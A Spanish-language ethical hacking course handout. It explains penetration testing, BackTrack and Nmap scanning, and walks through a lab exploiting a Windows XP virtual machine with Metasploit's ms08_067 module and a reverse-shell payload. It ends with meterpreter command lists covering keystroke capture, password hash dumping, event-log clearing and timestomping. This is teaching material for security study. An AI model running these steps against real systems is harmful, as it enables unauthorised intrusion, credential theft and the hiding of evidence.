FUNDAMENTOS DE SEGURIDAD y HACKING ETICO...

13
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez Piedrahita Seguridad en Redes PenTesting Test de Intrusión: Test de Intrusión, también llamado a veces “hacking ético” es una evaluación activa de las medidas de seguridad de la información. En los entornos de red complejos actuales, la exposición potencial al riesgo es cada vez mayor y poner seguro los sistemas se convierten en un auténtico reto. A través del Test de Intrusión es posible detectar el nivel de Seguridad Interna y Externa de los Sistemas de Información de la empresa, determinando el grado de acceso que tendría un atacante con intenciones maliciosas. Además, el servicio chequea las vulnerabilidades que pueden ser vistas y explotadas por individuos no autorizados, “crackers”, agentes de información, ladrones, antiguos empleados, competidores, etc. Los servicios de Test de Intrusión permiten: - Evaluar vulnerabilidades por medio de la identificación de debilidades de configuración que puedan ser explotadas. - Analizar y categorizar las debilidades explotables basadas en el impacto potencial y posibilidad de ocurrencia. - Proveer recomendaciones priorizadas para mitigar y eliminar las debilidades. El Test de Intrusión está dirigido a la búsqueda de agujeros de seguridad de forma focalizada en uno o varios recursos críticos, como puede ser el firewall o el servidor Web. BackTrack: BackTrack es una distribución GNU/Linux en formato LiveCD pensada y diseñada para la auditoría de seguridad y relacionada con la seguridad informática en general. Actualmente tiene una gran popularidad y aceptación en la comunidad que se mueve en torno a la seguridad informática. Deriva de la unión de dos grandes distribuciones orientadas a la seguridad, el Auditor + WHAX. WHAX es la evolución del Whoppix,(WhiteHat Knoppix) el cual pasó a basarse en SLAX en lugar de en Knoppix. Incluye larga lista de herramientas de seguridad listas para usar, entre las que destacan numerosos scanners de puertos y vulnerabilidades, archivos de exploits, sniffers, herramientas de análisis forense y herramientas para la auditoría Wireless. Fue incluida en la famosa lista Top 100 Network Security Tools del 2006 disponible en SecTools.Org Test de Intrusión para Auditoria

Transcript of FUNDAMENTOS DE SEGURIDAD y HACKING ETICO...

Page 1: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

Test de Intrusión:

Test de Intrusión, también llamado a veces “hacking ético” es

una evaluación activa de las medidas de seguridad de la

información.

En los entornos de red complejos actuales, la exposición

potencial al riesgo es cada vez mayor y poner seguro los

sistemas se convierten en un auténtico reto.

A través del Test de Intrusión es posible detectar el nivel de

Seguridad Interna y Externa de los Sistemas de Información

de la empresa, determinando el grado de acceso que tendría

un atacante con intenciones maliciosas. Además, el servicio chequea las vulnerabilidades que pueden ser

vistas y explotadas por individuos no autorizados, “crackers”, agentes de información, ladrones, antiguos

empleados, competidores, etc.

Los servicios de Test de Intrusión permiten:

- Evaluar vulnerabilidades por medio de la identificación de debilidades de configuración que puedan ser

explotadas.

- Analizar y categorizar las debilidades explotables basadas en el impacto potencial y posibilidad de

ocurrencia.

- Proveer recomendaciones priorizadas para mitigar y eliminar las debilidades.

El Test de Intrusión está dirigido a la búsqueda de agujeros de seguridad de forma focalizada en uno o

varios recursos críticos, como puede ser el firewall o el servidor Web.

BackTrack:

BackTrack es una distribución GNU/Linux en formato LiveCD pensada y diseñada para la auditoría de

seguridad y relacionada con la seguridad informática en general. Actualmente tiene una gran popularidad y

aceptación en la comunidad que se mueve en torno a la seguridad informática.

Deriva de la unión de dos grandes distribuciones orientadas a la seguridad, el Auditor + WHAX. WHAX es la

evolución del Whoppix,(WhiteHat Knoppix) el cual pasó a basarse en SLAX en lugar de en Knoppix. Incluye

larga lista de herramientas de seguridad listas para usar, entre las que destacan numerosos scanners de

puertos y vulnerabilidades, archivos de exploits, sniffers, herramientas de análisis forense y herramientas

para la auditoría Wireless. Fue incluida en la famosa lista Top 100 Network Security Tools del 2006

disponible en SecTools.Org

Test de Intrusión para Auditoria

Page 2: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

Este tipo de intrusiones se denomina participativas porque el usuario final colabora con el proceso, es

decir, de entrada sabemos el usuario y contraseña del equipo al cual vamos a realizarle la auditoria.

Elementos a utilizar:

VirtualBox

Maquinas Virtuales con Linux BackTrack y Windows XP

Red entre los equipos

Procedimiento

1. Iniciamos los dos equipos virtuales, BackTrack y wXp

2. Configuramos las tarjetas de red en ambos equipos para formar una red privada entre ellos.

(Recomendado).

Desde Backtrack

- Abrimos una ventana de terminal

- Escribimos el comando ifconfig –a para verificar el adaptador por el cual esta conectado

Backtrack

Page 3: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

En este caso, vemos que el BackTrack esta utilizando el adaptador cero (eth0), sabiendo esto,

procedemos a configurar la tarjeta de red con la IP de nuestra red privada.

- Editamos el archivo de configuración de la tarjeta de rede de backtrack, utilizando la siguiente

instrucción

nano /etc/network/interfaces

Page 4: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

Nos ubicamos en el adaptador respectivo de nuestro archivo de configuración y realizamos los

siguientes cambios.

auto eth0 iface etho0 inet static address 192.168.10.100 netmask 255.255.255.0

- Guardamos el archivo y reiniciamos la tarjeta de red, con el siguiente comando

/etc/init.d/networking restart

Page 5: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

3. Verificamos que las dos maquinas se vean… desde cada uno de los equipos utilizamos el comando

PING para realizar esto.

Desde BackTrack

- Abrimos una ventana de terminal

- Escribimos el comando PING seguido de la IP de la maquina wXP

Desde Windows Xp

Page 6: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

- Iniciamos una ventana de comandos

- Escribimos el comando PING seguido de la IP de la maquina con Backtrack

Nota: en caso de fallar el comando ping, debemos verificar las conectividades o configuraciones de redes.

4. Realizamos la instrusion aWindows Xp

Desde backtrack

- Iniciamos una ventana de terminal y escribimos el comando msfconsole y esperamos.

Page 7: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

La ventana de presentación puede variar, cada vez que iniciamos el aplicativo de los metasploit(*), se

presenta una imagen diferente.

- Acá escribimos el siguiente comando con el fin iniciar el exploit(*) para aprovechar la vulnerabilidad

de Windows ms08_067_netapi que aprovecha que el puerto 445 esta abierto.

Use exploit/Windows/smb/ms08_067_netapi

Page 8: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

- Luego debemos indicar la direccion IP de nuestro objetivo así como el puerto que vamos a analizar, en este caso Windows Xp.

Set RHOST 192.168.10.200 Set RPOST 445

- Luego especificamos los datos nuestros, en este caso la IP de BackTrack Set LHOST 192.168.10.100 El puerto no es necesario, ya que se utiliza por defecto el 4444.

- Seguido de esto, especificamos el PAYLOAD a utilizar, puede ser SHELL o METERPRETER.

set PAYLOAD windows/shell/reverse_tcp ó set PAYLOAD windows/meterpreter/reverse_tcp

Al final podemos ver toda la configuración utilizando el comando show options, vemos entonces nuestro objetivo y los datos del BackTrack

Page 9: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

5. Ejecutamos el exploit, si todo sale bien debe salir la siguiente ventana al utilizar el payload Shell.

En caso de utilizar el payload meterpreter, sale la siguiente ventana con algunas variaciones en los mensajes

Page 10: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

Nmap Es un scanner de información sobre servidores, y, aunque su principal utilidad es la de un scanner de puertos tiene opciones de reconocedor de sistemas operativos con la opción –O, El escaneo de sistemas operativos que realiza nmap no solo se queda en Windows, Linux, etc.. .sino es capaz de detectar impresoras de red, centralitas PBX, o teléfonos IP. Para realizar esta detección cuenta con una enorme base de datos para hacer una detección entre miles, repito miles, de sistemas operativos (Windows Server NT, Windows NT Workstation SP4, Windows NT SP6, todos los sabores de Linux, etc…) Scaneo con Nmap Nmap, realiza el escaneo de establecimiento de conexiones (como si hiciéramos un telnet) que se llama TCP connect(), de SYN (o de conexiones medio abiertas, ya que se envía un paquete SYN a un puerto y se espera la confirmación por parte del cliente sin nunca cerrar la conexión), de FIN, de NULL y de XMAS Tree. Para los puertos UDP implementa un sistema basado en el envío de mensajes UDP a un puerto de 0 bytes de tamaño. Si se recibe un mensaje ICMP que dice que es inalcanzable entonces es que el puerto está cerrado, por el contrario se asume que está abierto. Este tipo de escaneo, como muchos de los anteriores puede tener un alto índice de falsos positivos debido a que puede que el firewall prohíba todo tráfico ICMP de salida o que se haya perdido la respuesta. Los puertos del sistema El siguiente paso, que en un escaneo rápido se realiza al mismo tiempo, es la detección de puertos abiertos en un sistema. A priori que un puerto esté abierto no es ni malo ni bueno. Un puerto se abre para dar servicio. El problema es cuando se abre un puerto que conecta con una aplicación o servicio que no está securizado o que realmente el administrador ignora que lo tiene abierto en una máquina. Desde el punto de vista de un test de intrusión hay que ver a que servicios se puede llegar.

Page 11: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

Detectar un puerto TCP abierto debería ser tan fácil como establecer una conexión con dicho servicio; para ello bastaría con establecer una conexión con un simple telnet, que, además, nos mostrará la información por pantalla que el servicio o aplicación al otro lado del puerto está enviando. El problema radica en las alarmas que se activen o la información que se deje en los logs cuando se produce el scaneo, hay que tener en cuenta que el número de puertos posibles es de 65536 puertos que pueden ser TCP o UDP. Lo más probable es que un firewall deje de responder a una determinada IP cuando se haya producido más de un número de peticiones de conexión desde una determinad ip, o cuando se han pedido más de un número por unidad de tiempo, o cuando hay una violación de protocolo (comando no valido que suele denotar que un servicio está hablando con un ser humano detrás de un telnet y que ha cometido un error al teclear o en el comando), etc…. El objetivo de los métodos de escaneo es averiguar todos los puertos que se encuentran ofreciendo servicio por TCP/UDP sin levantar alarmas y dejar el menor rastro posible. Exploit (del inglés to exploit, explotar o aprovechar) es una pieza de software, o una secuencia de comandos con el fin de causar un error o un fallo en alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en los programas informáticos, hardware, o componente electrónico (por lo general computarizado). Con frecuencia, esto incluye cosas tales como la toma de control de un sistema de cómputo o permitir la escalada de privilegios o un ataque de denegación de servicio. El fin del Exploit puede ser violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros. Los Exploits pueden ser escritos empleando una diversidad de lenguajes de programación, aunque mayoritariamente se suele utilizar lenguaje C. También puede aprovecharse de distintos tipos de ataques tales como desbordamiento de búfer, Cross Site Scripting, Format Strings, Inyección SQL, entre otros. Una de las herramientas más utilizadas para trabajar con este tipo de software es Metasploit Framework, una plataforma de test de penetración escrita en lenguaje de programación Ruby, como así también otros frameworks como Core Impact, Canvas, entre otros. Comandos del Meterpreter meterpreter > help Command Description ? Help menu background Backgrounds the current session channel Displays information about active channels close Closes a channel exit Terminate the meterpreter session help Help menu interact Interacts with a channel irb Drop into irb scripting mode migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel

Page 12: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

run Executes a meterpreter script use Load a one or more meterpreter extensions write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory del Delete the specified file download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log execute Execute a command getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump they keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes setdesktop Move to a different workstation and desktop

Page 13: FUNDAMENTOS DE SEGURIDAD y HACKING ETICO …files.ljimenez.webnode.com.co/200000049-1d80e1e7ae/Intrusiones... · FUNDAMENTOS DE SEGURIDAD y HACKING ETICO Profesor: Luis Alfonso Jiménez

FUNDAMENTOS DE SEGURIDAD y HACKING ETICO

Profesor: Luis Alfonso Jiménez Piedrahita

Seguridad en Redes PenTesting

uictl Control some of the user interface components Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes